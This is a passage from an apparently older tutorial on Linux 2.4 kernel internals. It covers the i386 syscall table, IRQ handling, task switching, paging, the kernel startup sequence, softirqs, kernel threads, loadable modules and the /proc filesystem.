        .long SYMBOL_NAME(sys_ni_syscall)       /* old profil syscall holder */
        .long SYMBOL_NAME(sys_statfs)
        .long SYMBOL_NAME(sys_fstatfs)          /* 100 */
        .long SYMBOL_NAME(sys_ioperm)
        .long SYMBOL_NAME(sys_socketcall)
        .long SYMBOL_NAME(sys_syslog)
        .long SYMBOL_NAME(sys_setitimer)
        .long SYMBOL_NAME(sys_getitimer)        /* 105 */
        .long SYMBOL_NAME(sys_newstat)
        .long SYMBOL_NAME(sys_newlstat)
        .long SYMBOL_NAME(sys_newfstat)
        .long SYMBOL_NAME(sys_uname)
        .long SYMBOL_NAME(sys_iopl)             /* 110 */
        .long SYMBOL_NAME(sys_vhangup)
        .long SYMBOL_NAME(sys_ni_syscall)       /* old "idle" system call */
        .long SYMBOL_NAME(sys_vm86old)
        .long SYMBOL_NAME(sys_wait4)
        .long SYMBOL_NAME(sys_swapoff)          /* 115 */
        .long SYMBOL_NAME(sys_sysinfo)
        .long SYMBOL_NAME(sys_ipc)
        .long SYMBOL_NAME(sys_fsync)
        .long SYMBOL_NAME(sys_sigreturn)
        .long SYMBOL_NAME(sys_clone)            /* 120 */
        .long SYMBOL_NAME(sys_setdomainname)
        .long SYMBOL_NAME(sys_newuname)
        .long SYMBOL_NAME(sys_modify_ldt)
        .long SYMBOL_NAME(sys_adjtimex)
        .long SYMBOL_NAME(sys_mprotect)         /* 125 */
        .long SYMBOL_NAME(sys_sigprocmask)
        .long SYMBOL_NAME(sys_create_module)
        .long SYMBOL_NAME(sys_init_module)
        .long SYMBOL_NAME(sys_delete_module)
        .long SYMBOL_NAME(sys_get_kernel_syms)  /* 130 */
        .long SYMBOL_NAME(sys_quotactl)
        .long SYMBOL_NAME(sys_getpgid)
        .long SYMBOL_NAME(sys_fchdir)
        .long SYMBOL_NAME(sys_bdflush)
        .long SYMBOL_NAME(sys_sysfs)            /* 135 */
        .long SYMBOL_NAME(sys_personality)
        .long SYMBOL_NAME(sys_ni_syscall)       /* for afs_syscall */
        .long SYMBOL_NAME(sys_setfsuid16)
        .long SYMBOL_NAME(sys_setfsgid16)
        .long SYMBOL_NAME(sys_llseek)           /* 140 */
        .long SYMBOL_NAME(sys_getdents)
        .long SYMBOL_NAME(sys_select)
        .long SYMBOL_NAME(sys_flock)
        .long SYMBOL_NAME(sys_msync)
        .long SYMBOL_NAME(sys_readv)            /* 145 */
        .long SYMBOL_NAME(sys_writev)
        .long SYMBOL_NAME(sys_getsid)
        .long SYMBOL_NAME(sys_fdatasync)
        .long SYMBOL_NAME(sys_sysctl)
        .long SYMBOL_NAME(sys_mlock)            /* 150 */
        .long SYMBOL_NAME(sys_munlock)
        .long SYMBOL_NAME(sys_mlockall)
        .long SYMBOL_NAME(sys_munlockall)
        .long SYMBOL_NAME(sys_sched_setparam)
        .long SYMBOL_NAME(sys_sched_getparam)   /* 155 */
        .long SYMBOL_NAME(sys_sched_setscheduler)
        .long SYMBOL_NAME(sys_sched_getscheduler)
        .long SYMBOL_NAME(sys_sched_yield)
        .long SYMBOL_NAME(sys_sched_get_priority_max)
        .long SYMBOL_NAME(sys_sched_get_priority_min)  /* 160 */
        .long SYMBOL_NAME(sys_sched_rr_get_interval)
        .long SYMBOL_NAME(sys_nanosleep)
        .long SYMBOL_NAME(sys_mremap)
        .long SYMBOL_NAME(sys_setresuid16)
        .long SYMBOL_NAME(sys_getresuid16)      /* 165 */
        .long SYMBOL_NAME(sys_vm86)
        .long SYMBOL_NAME(sys_query_module)
        .long SYMBOL_NAME(sys_poll)
        .long SYMBOL_NAME(sys_nfsservctl)
        .long SYMBOL_NAME(sys_setresgid16)      /* 170 */
        .long SYMBOL_NAME(sys_getresgid16)
        .long SYMBOL_NAME(sys_prctl)
        .long SYMBOL_NAME(sys_rt_sigreturn)
        .long SYMBOL_NAME(sys_rt_sigaction)
        .long SYMBOL_NAME(sys_rt_sigprocmask)   /* 175 */
        .long SYMBOL_NAME(sys_rt_sigpending)
        .long SYMBOL_NAME(sys_rt_sigtimedwait)
        .long SYMBOL_NAME(sys_rt_sigqueueinfo)
        .long SYMBOL_NAME(sys_rt_sigsuspend)
        .long SYMBOL_NAME(sys_pread)            /* 180 */
        .long SYMBOL_NAME(sys_pwrite)
        .long SYMBOL_NAME(sys_chown16)
        .long SYMBOL_NAME(sys_getcwd)
        .long SYMBOL_NAME(sys_capget)
        .long SYMBOL_NAME(sys_capset)           /* 185 */
        .long SYMBOL_NAME(sys_sigaltstack)
        .long SYMBOL_NAME(sys_sendfile)
        .long SYMBOL_NAME(sys_ni_syscall)               /* streams1 */
        .long SYMBOL_NAME(sys_ni_syscall)               /* streams2 */
        .long SYMBOL_NAME(sys_vfork)            /* 190 */
        .long SYMBOL_NAME(sys_getrlimit)
        .long SYMBOL_NAME(sys_mmap2)
        .long SYMBOL_NAME(sys_truncate64)
        .long SYMBOL_NAME(sys_ftruncate64)
        .long SYMBOL_NAME(sys_stat64)           /* 195 */
        .long SYMBOL_NAME(sys_lstat64)
        .long SYMBOL_NAME(sys_fstat64)
        .long SYMBOL_NAME(sys_lchown)
        .long SYMBOL_NAME(sys_getuid)
        .long SYMBOL_NAME(sys_getgid)           /* 200 */
        .long SYMBOL_NAME(sys_geteuid)
        .long SYMBOL_NAME(sys_getegid)
        .long SYMBOL_NAME(sys_setreuid)
        .long SYMBOL_NAME(sys_setregid)
        .long SYMBOL_NAME(sys_getgroups)        /* 205 */
        .long SYMBOL_NAME(sys_setgroups)
        .long SYMBOL_NAME(sys_fchown)
        .long SYMBOL_NAME(sys_setresuid)
        .long SYMBOL_NAME(sys_getresuid)
        .long SYMBOL_NAME(sys_setresgid)        /* 210 */
        .long SYMBOL_NAME(sys_getresgid)
        .long SYMBOL_NAME(sys_chown)
        .long SYMBOL_NAME(sys_setuid)
        .long SYMBOL_NAME(sys_setgid)
        .long SYMBOL_NAME(sys_setfsuid)         /* 215 */
        .long SYMBOL_NAME(sys_setfsgid)
        .long SYMBOL_NAME(sys_pivot_root)
        .long SYMBOL_NAME(sys_mincore)
        .long SYMBOL_NAME(sys_madvise)
        .long SYMBOL_NAME(sys_getdents64)       /* 220 */
        .long SYMBOL_NAME(sys_fcntl64)
        .long SYMBOL_NAME(sys_ni_syscall)       /* reserved for TUX */
        .long SYMBOL_NAME(sys_ni_syscall)       /* Reserved for Security */
        .long SYMBOL_NAME(sys_gettid)
        .long SYMBOL_NAME(sys_readahead)        /* 225 */


IRQ Event

When an IRQ comes, the task that is running is interrupted in order to service the IRQ Handler.

After the IRQ is handled, control returns backs exactly to point of interrupt, like nothing happened.

           
              Running Task 
             |-----------|          (3)
NORMAL       |   |       | [break execution] IRQ Handler
EXECUTION (1)|   |       |     ------------->|---------| 
             |  \|/      |     |             |  does   |         
 IRQ (2)---->| ..        |----->             |  some   |      
             |   |       |<-----             |  work   |       
BACK TO      |   |       |     |             |  ..(4). |
NORMAL    (6)|  \|/      |     <-------------|_________|
EXECUTION    |___________|  [return to code]
                                    (5)
               USER MODE                     KERNEL MODE

         User->Kernel Mode Transition caused by IRQ event
     

The numbered steps below refer to the sequence of events in the diagram above:

  1. Process is executing
  2. IRQ comes while the task is running.
  3. Task is interrupted to call an "Interrupt handler".
  4. The "Interrupt handler" code is executed.
  5. Control returns back to task user mode (as if nothing happened)
  6. Process returns back to normal execution

Special interest has the Timer IRQ, coming every TIMER ms to manage:

  1. Alarms
  2. System and task counters (used by schedule to decide when stop a process or for accounting)
  3. Multitasking based on wake up mechanism after TIMESLICE time.

3.4 Multitasking

Mechanism

The key point of modern OSs is the "Task". The Task is an application running in memory sharing all resources (included CPU and Memory) with other Tasks.

This "resource sharing" is managed by the "Multitasking Mechanism". The Multitasking Mechanism switches from one task to another after a "timeslice" time. Users have the "illusion" that they own all resources. We can also imagine a single user scenario, where a user can have the "illusion" of running many tasks at the same time.

To implement this multitasking, the task uses "the state" variable, which can be:

  1. READY, ready for execution
  2. BLOCKED, waiting for a resource

The task state is managed by its presence in a relative list: READY list and BLOCKED list.

Task Switching

The movement from one task to another is called ''Task Switching''. many computers have a hardware instruction which automatically performs this operation. Task Switching occurs in the following cases:

  1. After Timeslice ends: we need to schedule a "Ready for execution" task and give it access.
  2. When a Task has to wait for a device: we need to schedule a new task and switch to it *

* We schedule another task to prevent "Busy Form Waiting", which occurs when we are waiting for a device instead performing other work.

Task Switching is managed by the "Schedule" entity.

 
Timer    |           |
 IRQ     |           |                            Schedule
  |      |           |                     ________________________
  |----->|   Task 1  |<------------------>|(1)Chooses a Ready Task |
  |      |           |                    |(2)Task Switching       |
  |      |___________|                    |________________________|   
  |      |           |                               /|\
  |      |           |                                | 
  |      |           |                                |
  |      |           |                                |
  |      |           |                                |      
  |----->|   Task 2  |<-------------------------------|
  |      |           |                                |
  |      |___________|                                |
  .      .     .     .                                .
  .      .     .     .                                .
  .      .     .     .                                .
  |      |           |                                |
  |      |           |                                |
  ------>|   Task N  |<--------------------------------
         |           |
         |___________| 
    
            Task Switching based on TimeSlice
 

A typical Timeslice for Linux is about 10 ms.

 

 |           |            
 |           | Resource    _____________________________
 |   Task 1  |----------->|(1) Enqueue Resource request |
 |           |  Access    |(2)  Mark Task as blocked    |
 |           |            |(3)  Choose a Ready Task     |
 |___________|            |(4)    Task Switching        |
                          |_____________________________|
                                       |
                                       |
 |           |                         |
 |           |                         |
 |   Task 2  |<-------------------------
 |           |  
 |           |
 |___________|
 
     Task Switching based on Waiting for a Resource
 

3.5 Microkernel vs Monolithic OS

Overview

Until now we viewed so called Monolithic OS, but there is also another kind of OS: ''Microkernel''.

A Microkernel OS uses Tasks, not only for user mode processes, but also as a real kernel manager, like Floppy-Task, HDD-Task, Net-Task and so on. Some examples are Amoeba, and Mach.

PROs and CONTROs of Microkernel OS

PROS:

  • OS is simpler to maintain because each Task manages a single kind of operation. So if you want to modify networking, you modify Net-Task (ideally, if it is not needed a structural update).

CONS:

  • Performances are worse than Monolithic OS, because you have to add 2*TASK_SWITCH times (the first to enter the specific Task, the second to go out from it).

My personal opinion is that, Microkernels are a good didactic example (like Minix) but they are not ''optimal'', so not really suitable. Linux uses a few Tasks, called "Kernel Threads" to implement a little microkernel structure (like kswapd, which is used to retrieve memory pages from mass storage). In this case there are no problems with perfomance because swapping is a very slow job.

3.6 Networking

ISO OSI levels

Standard ISO-OSI describes a network architecture with the following levels:

  1. Physical level (examples: PPP and Ethernet)
  2. Data-link level (examples: PPP and Ethernet)
  3. Network level (examples: IP, and X.25)
  4. Transport level (examples: TCP, UDP)
  5. Session level (SSL)
  6. Presentation level (FTP binary-ascii coding)
  7. Application level (applications like Netscape)

The first 2 levels listed above are often implemented in hardware. Next levels are in software (or firmware for routers).

Many protocols are used by an OS: one of these is TCP/IP (the most important living on 3-4 levels).

What does the kernel?

The kernel doesn't know anything (only addresses) about first 2 levels of ISO-OSI.

In RX it:

  1. Manages handshake with low levels devices (like ethernet card or modem) receiving "frames" from them.
  2. Builds TCP/IP "packets" from "frames" (like Ethernet or PPP ones),
  3. Convers ''packets'' in ''sockets'' passing them to the right application (using port number) or
  4. Forwards packets to the right queue

frames         packets              sockets
NIC ---------> Kernel ----------> Application
                  |    packets
                  --------------> Forward
                        - RX - 

In TX stage it:

  1. Converts sockets or
  2. Queues datas into TCP/IP ''packets''
  3. Splits ''packets" into "frames" (like Ethernet or PPP ones)
  4. Sends ''frames'' using HW drivers

sockets       packets                     frames
Application ---------> Kernel ----------> NIC
              packets     /|\    
Forward  -------------------
                        - TX -  


3.7 Virtual Memory

Segmentation

Segmentation is the first method to solve memory allocation problems: it allows you to compile source code without caring where the application will be placed in memory. As a matter of fact, this feature helps applications developers to develop in a independent fashion from the OS e also from the hardware.

     
            |       Stack        |
            |          |         |
            |         \|/        |
            |        Free        | 
            |         /|\        |     Segment <---> Process    
            |          |         |
            |        Heap        |
            | Data uninitialized |
            |  Data initialized  |
            |       Code         |
            |____________________|  
 
                   Segment  

We can say that a segment is the logical entity of an application, or the image of the application in memory.

When programming, we don't care where our data is put in memory, we only care about the offset inside our segment (our application).

We use to assign a Segment to each Process and vice versa. In Linux this is not true. Linux uses only 4 segments for either Kernel and all Processes.

Problems of Segmentation

 
                                 ____________________
                          ----->|                    |----->
                          | IN  |     Segment A      | OUT
 ____________________     |     |____________________|   
|                    |____|     |                    |   
|     Segment B      |          |     Segment B      |
|                    |____      |                    |   
|____________________|    |     |____________________|   
                          |     |     Segment C      |   
                          |     |____________________|
                          ----->|     Segment D      |-----> 
                            IN  |____________________| OUT 
 
                     Segmentation problem


In the diagram above, we want to get exit processes A, and D and enter process B. As we can see there is enough space for B, but we cannot split it in 2 pieces, so we CANNOT load it (memory out).

The reason this problem occurs is because pure segments are continuous areas (because they are logical areas) and cannot be split.

Pagination

 
             ____________________
            |     Page 1         |
            |____________________|
            |     Page 2         |
            |____________________| 
            |      ..            |     Segment <---> Process    
            |____________________|
            |     Page n         |
            |____________________|
            |                    |
            |____________________|
            |                    |
            |____________________|  
 
                   Segment  
 

Pagination splits memory in "n" pieces, each one with a fixed length.

A process may be loaded in one or more Pages. When memory is freed, all pages are freed (see Segmentation Problem, before).

Pagination is also used for another important purpose, "Swapping". If a page is not present in physical memory then it generates an EXCEPTION, that will make the Kernel search for a new page in storage memory. This mechanism allow OS to load more applications than the ones allowed by physical memory only.

Pagination Problem

             ____________________
   Page   X |     Process Y      |
            |____________________|
            |                    |
            |       WASTE        |
            |       SPACE        |
            |____________________|  
   
              Pagination Problem
 

In the diagram above, we can see what is wrong with the pagination policy: when a Process Y loads into Page X, ALL memory space of the Page is allocated, so the remaining space at the end of Page is wasted.

Segmentation and Pagination

How can we solve segmentation and pagination problems? Using either 2 policies.

 
                                  |      ..            |
                                  |____________________|
                            ----->|      Page 1        |
                            |     |____________________|
                            |     |      ..            |
 ____________________       |     |____________________|
|                    |      |---->|      Page 2        |
|      Segment X     |  ----|     |____________________|
|                    |      |     |       ..           |
|____________________|      |     |____________________|
                            |     |       ..           |
                            |     |____________________|
                            |---->|      Page 3        |
                                  |____________________|
                                  |       ..           |
 

Process X, identified by Segment X, is split in 3 pieces and each of one is loaded in a page.

We do not have:

  1. Segmentation problem: we allocate per Pages, so we also free Pages and we manage free space in an optimized way.
  2. Pagination problem: only last page wastes space, but we can decide to use very small pages, for example 4096 bytes length (losing at maximum 4096*N_Tasks bytes) and manage hierarchical paging (using 2 or 3 levels of paging)

 
 

                          |         |           |         |
                          |         |   Offset2 |  Value  |
                          |         |        /|\|         |
                  Offset1 |         |-----    | |         |
                      /|\ |         |    |    | |         |
                       |  |         |    |   \|/|         | 
                       |  |         |    ------>|         |
                      \|/ |         |           |         |
 Base Paging Address ---->|         |           |         |
                          | ....... |           | ....... |
                          |         |           |         |    
 
                     Hierarchical Paging

4. Linux Startup

We start the Linux kernel first from C code executed from ''startup_32:'' asm label:

|startup_32:
   |start_kernel
      |lock_kernel
      |trap_init
      |init_IRQ
      |sched_init
      |softirq_init
      |time_init
      |console_init 
      |#ifdef CONFIG_MODULES 
         |init_modules 
      |#endif 
      |kmem_cache_init 
      |sti 
      |calibrate_delay 
      |mem_init
      |kmem_cache_sizes_init
      |pgtable_cache_init
      |fork_init
      |proc_caches_init 
      |vfs_caches_init
      |buffer_init
      |page_cache_init
      |signals_init 
      |#ifdef CONFIG_PROC_FS 
        |proc_root_init 
      |#endif 
      |#if defined(CONFIG_SYSVIPC) 
         |ipc_init
      |#endif 
      |check_bugs      
      |smp_init
      |rest_init
         |kernel_thread
         |unlock_kernel
         |cpu_idle

  • startup_32 [arch/i386/kernel/head.S]
  • start_kernel [init/main.c]
  • lock_kernel [include/asm/smplock.h]
  • trap_init [arch/i386/kernel/traps.c]
  • init_IRQ [arch/i386/kernel/i8259.c]
  • sched_init [kernel/sched.c]
  • softirq_init [kernel/softirq.c]
  • time_init [arch/i386/kernel/time.c]
  • console_init [drivers/char/tty_io.c]
  • init_modules [kernel/module.c]
  • kmem_cache_init [mm/slab.c]
  • sti [include/asm/system.h]
  • calibrate_delay [init/main.c]
  • mem_init [arch/i386/mm/init.c]
  • kmem_cache_sizes_init [mm/slab.c]
  • pgtable_cache_init [arch/i386/mm/init.c]
  • fork_init [kernel/fork.c]
  • proc_caches_init
  • vfs_caches_init [fs/dcache.c]
  • buffer_init [fs/buffer.c]
  • page_cache_init [mm/filemap.c]
  • signals_init [kernel/signal.c]
  • proc_root_init [fs/proc/root.c]
  • ipc_init [ipc/util.c]
  • check_bugs [include/asm/bugs.h]
  • smp_init [init/main.c]
  • rest_init
  • kernel_thread [arch/i386/kernel/process.c]
  • unlock_kernel [include/asm/smplock.h]
  • cpu_idle [arch/i386/kernel/process.c]

The last function ''rest_init'' does the following:

  1. launches the kernel thread ''init''
  2. calls unlock_kernel
  3. makes the kernel run cpu_idle routine, that will be the idle loop executing when nothing is scheduled

In fact the start_kernel procedure never ends. It will execute cpu_idle routine endlessly.

Follows ''init'' description, which is the first Kernel Thread:

|init
   |lock_kernel
   |do_basic_setup
      |mtrr_init
      |sysctl_init
      |pci_init
      |sock_init
      |start_context_thread
      |do_init_calls
         |(*call())-> kswapd_init
   |prepare_namespace
   |free_initmem
   |unlock_kernel
   |execve

5. Linux Peculiarities

5.1 Overview

Linux has some peculiarities that distinguish it from other OSs. These peculiarities include:

  1. Pagination only
  2. Softirq
  3. Kernel threads
  4. Kernel modules
  5. ''Proc'' directory

Flexibility Elements

Points 4 and 5 give system administrators an enormous flexibility on system configuration from user mode allowing them to solve also critical kernel bugs or specific problems without have to reboot the machine. For example, if you needed to change something on a big server and you didn't want to make a reboot, you could prepare the kernel to talk with a module, that you'll write.

5.2 Pagination only

Linux doesn't use segmentation to distinguish Tasks from each other; it uses pagination. (Only 2 segments are used for all Tasks, CODE and DATA/STACK)

We can also say that an interTask page fault never occurs, because each Task uses a set of Page Tables that are different for each Task. There are some cases where different Tasks point to same Page Tables, like shared libraries: this is needed to reduce memory usage; remember that shared libraries are CODE only cause all datas are stored into actual Task stack.

Linux segments

Under the Linux kernel only 4 segments exist:

  1. Kernel Code [0x10]
  2. Kernel Data / Stack [0x18]
  3. User Code [0x23]
  4. User Data / Stack [0x2b]

[syntax is ''Purpose [Segment]'']

Under Intel architecture, the segment registers used are:

  • CS for Code Segment
  • DS for Data Segment
  • SS for Stack Segment
  • ES for Alternative Segment (for example used to make a memory copy between 2 different segments)

So, every Task uses 0x23 for code and 0x2b for data/stack.

Linux pagination

Under Linux 3 levels of pages are used, depending on the architecture. Under Intel only 2 levels are supported. Linux also supports Copy on Write mechanisms (please see Cap.10 for more information).

Why don't interTasks address conflicts exist?

The answer is very very simple: interTask address conflicts cannot exist because they are impossible. Linear -> physical mapping is done by "Pagination", so it just needs to assign physical pages in an univocal fashion.

Do we need to defragment memory?

No. Page assigning is a dynamic process. We need a page only when a Task asks for it, so we choose it from free memory paging in an ordered fashion. When we want to release the page, we only have to add it to the free pages list.

What about Kernel Pages?

Kernel pages have a problem: they can be allocated in a dynamic fashion but we cannot have a guarantee that they are in contiguous area allocation, because linear kernel space is equivalent to physical kernel space.

For Code Segment there is no problem. Boot code is allocated at boot time (so we have a fixed amount of memory to allocate), and on modules we only have to allocate a memory area which could contain module code.

The real problem is the stack segment because each Task uses some kernel stack pages. Stack segments must be contiguous (according to stack definition), so we have to establish a maximum limit for each Task's stack dimension. If we exceed this limit bad things happen. We overwrite kernel mode process data structures.

The structure of the Kernel helps us, because kernel functions are never:

  • recursive
  • intercalling more than N times.

Once we know N, and we know the average of static variables for all kernel functions, we can estimate a stack limit.

If you want to try the problem out, you can create a module with a function inside calling itself many times. After a fixed number of times, the kernel module will hang because of a page fault exception handler (typically write to a read-only page).

5.3 Softirq

When an IRQ comes, task switching is deferred until later to get better performance. Some Task jobs (that could have to be done just after the IRQ and that could take much CPU in interrupt time, like building up a TCP/IP packet) are queued and will be done at scheduling time (once a time-slice will end).

In recent kernels (2.4.x) the softirq mechanisms are given to a kernel_thread: ''ksoftirqd_CPUn''. n stands for the number of CPU executing kernel_thread (in a monoprocessor system ''ksoftirqd_CPU0'' uses PID 3).

Preparing Softirq

Enabling Softirq

''cpu_raise_softirq'' is a routine that will wake_up ''ksoftirqd_CPU0'' kernel thread, to let it manage the enqueued job.

|cpu_raise_softirq
   |__cpu_raise_softirq
   |wakeup_softirqd
      |wake_up_process

  • cpu_raise_softirq [kernel/softirq.c]
  • __cpu_raise_softirq [include/linux/interrupt.h]
  • wakeup_softirq [kernel/softirq.c]
  • wake_up_process [kernel/sched.c]

''__cpu_raise_softirq'' routine will set right bit in the vector describing softirq pending.

''wakeup_softirq'' uses ''wakeup_process'' to wake up ''ksoftirqd_CPU0'' kernel thread.

Executing Softirq

TODO: describing data structures involved in softirq mechanism.

When kernel thread ''ksoftirqd_CPU0'' has been woken up, it will execute queued jobs

The code of ''ksoftirqd_CPU0'' is (main endless loop):

for (;;) {
   if (!softirq_pending(cpu)) 
      schedule();
      __set_current_state(TASK_RUNNING);
   while (softirq_pending(cpu)) { 
      do_softirq(); 
      if (current->need_resched) 
         schedule 
   }
   __set_current_state(TASK_INTERRUPTIBLE)
}

  • ksoftirqd [kernel/softirq.c]

5.4 Kernel Threads

Even though Linux is a monolithic OS, a few ''kernel threads'' exist to do housekeeping work.

These Tasks don't utilize USER memory; they share KERNEL memory. They also operate at the highest privilege (RING 0 on a i386 architecture) like any other kernel mode piece of code.

Kernel threads are created by ''kernel_thread [arch/i386/kernel/process]'' function, which calls ''clone'' [arch/i386/kernel/process.c] system call from assembler (which is a ''fork'' like system call):

int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
{
        long retval, d0;
 
        __asm__ __volatile__(
                "movl %%esp,%%esi\n\t"
                "int $0x80\n\t"         /* Linux/i386 system call */
                "cmpl %%esp,%%esi\n\t"  /* child or parent? */
                "je 1f\n\t"             /* parent - jump */
                /* Load the argument into eax, and push it.  That way, it does
                 * not matter whether the called function is compiled with
                 * -mregparm or not.  */
                "movl %4,%%eax\n\t"
                "pushl %%eax\n\t"               
                "call *%5\n\t"          /* call fn */
                "movl %3,%0\n\t"        /* exit */
                "int $0x80\n"
                "1:\t"
                :"=&a" (retval), "=&S" (d0)
                :"0" (__NR_clone), "i" (__NR_exit),
                 "r" (arg), "r" (fn),
                 "b" (flags | CLONE_VM)
                : "memory");
        return retval;
}

Once called, we have a new Task (usually with very low PID number, like 2,3, etc.) waiting for a very slow resource, like swap or usb event. A very slow resource is used because we would have a task switching overhead otherwise.

Below is a list of most common kernel threads (from ''ps x'' command):

PID      COMMAND
 1        init
 2        keventd
 3        kswapd
 4        kreclaimd
 5        bdflush
 6        kupdated
 7        kacpid
67        khubd

'init' kernel thread is the first process created, at boot time. It will call all other User Mode Tasks (from file /etc/inittab) like console daemons, tty daemons and network daemons (''rc'' scripts).

Example of Kernel Threads: kswapd [mm/vmscan.c].

''kswapd'' is created by ''clone() [arch/i386/kernel/process.c]''

Initialisation routines:

|do_initcalls
   |kswapd_init
      |kernel_thread
         |syscall fork (in assembler)

do_initcalls [init/main.c]

kswapd_init [mm/vmscan.c]

kernel_thread [arch/i386/kernel/process.c]

5.5 Kernel Modules

Overview

Linux Kernel modules are pieces of code (examples: fs, net, and hw driver) running in kernel mode that you can add at runtime.

The Linux core cannot be modularized: scheduling and interrupt management or core network, and so on.

Under "/lib/modules/KERNEL_VERSION/" you can find all the modules installed on your system.

Module loading and unloading

To load a module, type the following:

insmod MODULE_NAME parameters

example: insmod ne io=0x300 irq=9

NOTE: You can use modprobe in place of insmod if you want the kernel automatically search some parameter (for example when using PCI driver, or if you have specified parameter under /etc/conf.modules file).

To unload a module, type the following:

 rmmod MODULE_NAME

Module definition

A module always contains:

  1. "init_module" function, executed at insmod (or modprobe) command
  2. "cleanup_module" function, executed at rmmod command

If these functions are not in the module, you need to add 2 macros to specify what functions will act as init and exit module:

  1. module_init(FUNCTION_NAME)
  2. module_exit(FUNCTION_NAME)

NOTE: a module can "see" a kernel variable only if it has been exported (with macro EXPORT_SYMBOL).

A useful trick for adding flexibility to your kernel

// kernel sources side
void (*foo_function_pointer)(void *);
 
if (foo_function_pointer)
  (foo_function_pointer)(parameter);
  
 


// module side
extern void (*foo_function_pointer)(void *);

void my_function(void *parameter) {
  //My code
}
 
int init_module() {
  foo_function_pointer = &my_function;
}

int cleanup_module() {
  foo_function_pointer = NULL;
}

This simple trick allows you to have very high flexibility in your Kernel, because only when you load the module you'll make "my_function" routine execute. This routine will do everything you want to do: for example ''rshaper'' module, which controls bandwidth input traffic from the network, works in this kind of matter.

Notice that the whole module mechanism is possible thanks to some global variables exported to modules, such as head list (allowing you to extend the list as much as you want). Typical examples are fs, generic devices (char, block, net, telephony). You have to prepare the kernel to accept your new module; in some cases you have to create an infrastructure (like telephony one, that was recently created) to be as standard as possible.

5.6 Proc directory

Proc fs is located in the /proc directory, which is a special directory allowing you to talk directly with kernel.

Linux uses ''proc'' directory to support direct kernel communications: this is necessary in many cases, for example when you want see main processes data structures or enable ''proxy-arp'' feature on one interface and not in others, you want to change max number of threads, or if you want to debug some bus state, like ISA or PCI, to know what cards are installed and what I/O addresses and IRQs are assigned to them.

|-- bus
|   |-- pci
|   |   |-- 00
|   |   |   |-- 00.0
|   |   |   |-- 01.0
|   |   |   |-- 07.0
|   |   |   |-- 07.1
|   |   |   |-- 07.2
|   |   |   |-- 07.3
|   |   |   |-- 07.4
|   |   |   |-- 07.5
|   |   |   |-- 09.0
|   |   |   |-- 0a.0
|   |   |   `-- 0f.0
|   |   |-- 01
|   |   |   `-- 00.0
|   |   `-- devices
|   `-- usb
|-- cmdline
|-- cpuinfo
|-- devices
|-- dma
|-- dri
|   `-- 0
|       |-- bufs
|       |-- clients
|       |-- mem
|       |-- name
|       |-- queues
|       |-- vm
|       `-- vma
|-- driver
|-- execdomains
|-- filesystems
|-- fs
|-- ide
|   |-- drivers
|   |-- hda -> ide0/hda
|   |-- hdc -> ide1/hdc
|   |-- ide0
|   |   |-- channel
|   |   |-- config
|   |   |-- hda
|   |   |   |-- cache
|   |   |   |-- capacity
|   |   |   |-- driver
|   |   |   |-- geometry
|   |   |   |-- identify
|   |   |   |-- media
|   |   |   |-- model
|   |   |   |-- settings
|   |   |   |-- smart_thresholds
|   |   |   `-- smart_values
|   |   |-- mate
|   |   `-- model
|   |-- ide1
|   |   |-- channel
|   |   |-- config
|   |   |-- hdc
|   |   |   |-- capacity
|   |   |   |-- driver
|   |   |   |-- identify
|   |   |   |-- media
|   |   |   |-- model
|   |   |   `-- settings
|   |   |-- mate
|   |   `-- model
|   `-- via
|-- interrupts
|-- iomem
|-- ioports
|-- irq
|   |-- 0
|   |-- 1
|   |-- 10
|   |-- 11
|   |-- 12
|   |-- 13
|   |-- 14
|   |-- 15
|   |-- 2
|   |-- 3
|   |-- 4
|   |-- 5
|   |-- 6
|   |-- 7
|   |-- 8
|   |-- 9
|   `-- prof_cpu_mask
|-- kcore
|-- kmsg
|-- ksyms
|-- loadavg
|-- locks
|-- meminfo
|-- misc
|-- modules
|-- mounts
|-- mtrr
|-- net
|   |-- arp
|   |-- dev
|   |-- dev_mcast
|   |-- ip_fwchains
|   |-- ip_fwnames
|   |-- ip_masquerade
|   |-- netlink
|   |-- netstat
|   |-- packet
|   |-- psched
|   |-- raw
|   |-- route
|   |-- rt_acct
|   |-- rt_cache
|   |-- rt_cache_stat
|   |-- snmp
|   |-- sockstat
|   |-- softnet_stat
|   |-- tcp
|   |-- udp
|   |-- unix
|   `-- wireless
|-- partitions
|-- pci
|-- scsi
|   |-- ide-scsi
|   |   `-- 0
|   `-- scsi
|-- self -> 2069
|-- slabinfo
|-- stat
|-- swaps
|-- sys
|   |-- abi
|   |   |-- defhandler_coff
|   |   |-- defhandler_elf
|   |   |-- defhandler_lcall7
|   |   |-- defhandler_libcso
|   |   |-- fake_utsname
|   |   `-- trace
|   |-- debug
|   |-- dev
|   |   |-- cdrom
|   |   |   |-- autoclose
|   |   |   |-- autoeject
|   |   |   |-- check_media
|   |   |   |-- debug
|   |   |   |-- info
|   |   |   `-- lock
|   |   `-- parport
|   |       |-- default
|   |       |   |-- spintime
|   |       |   `-- timeslice
|   |       `-- parport0
|   |           |-- autoprobe
|   |           |-- autoprobe0
|   |           |-- autoprobe1
|   |           |-- autoprobe2
|   |           |-- autoprobe3
|   |           |-- base-addr
|   |           |-- devices
|   |           |   |-- active
|   |           |   `-- lp
|   |           |       `-- timeslice
|   |           |-- dma
|   |           |-- irq
|   |           |-- modes
|   |           `-- spintime
|   |-- fs
|   |   |-- binfmt_misc
|   |   |-- dentry-state
|   |   |-- dir-notify-enable
|   |   |-- dquot-nr
|   |   |-- file-max
|   |   |-- file-nr
|   |   |-- inode-nr
|   |   |-- inode-state
|   |   |-- jbd-debug
|   |   |-- lease-break-time
|   |   |-- leases-enable
|   |   |-- overflowgid
|   |   `-- overflowuid
|   |-- kernel
|   |   |-- acct
|   |   |-- cad_pid
|   |   |-- cap-bound
|   |   |-- core_uses_pid
|   |   |-- ctrl-alt-del
|   |   |-- domainname
|   |   |-- hostname
|   |   |-- modprobe
|   |   |-- msgmax
|   |   |-- msgmnb
|   |   |-- msgmni
|   |   |-- osrelease
|   |   |-- ostype
|   |   |-- overflowgid
|   |   |-- overflowuid
|   |   |-- panic
|   |   |-- printk
|   |   |-- random
|   |   |   |-- boot_id
|   |   |   |-- entropy_avail
|   |   |   |-- poolsize
|   |   |   |-- read_wakeup_threshold
|   |   |   |-- uuid
|   |   |   `-- write_wakeup_threshold
|   |   |-- rtsig-max
|   |   |-- rtsig-nr
|   |   |-- sem
|   |   |-- shmall
|   |   |-- shmmax
|   |   |-- shmmni
|   |   |-- sysrq
|   |   |-- tainted
|   |   |-- threads-max
|   |   `-- version
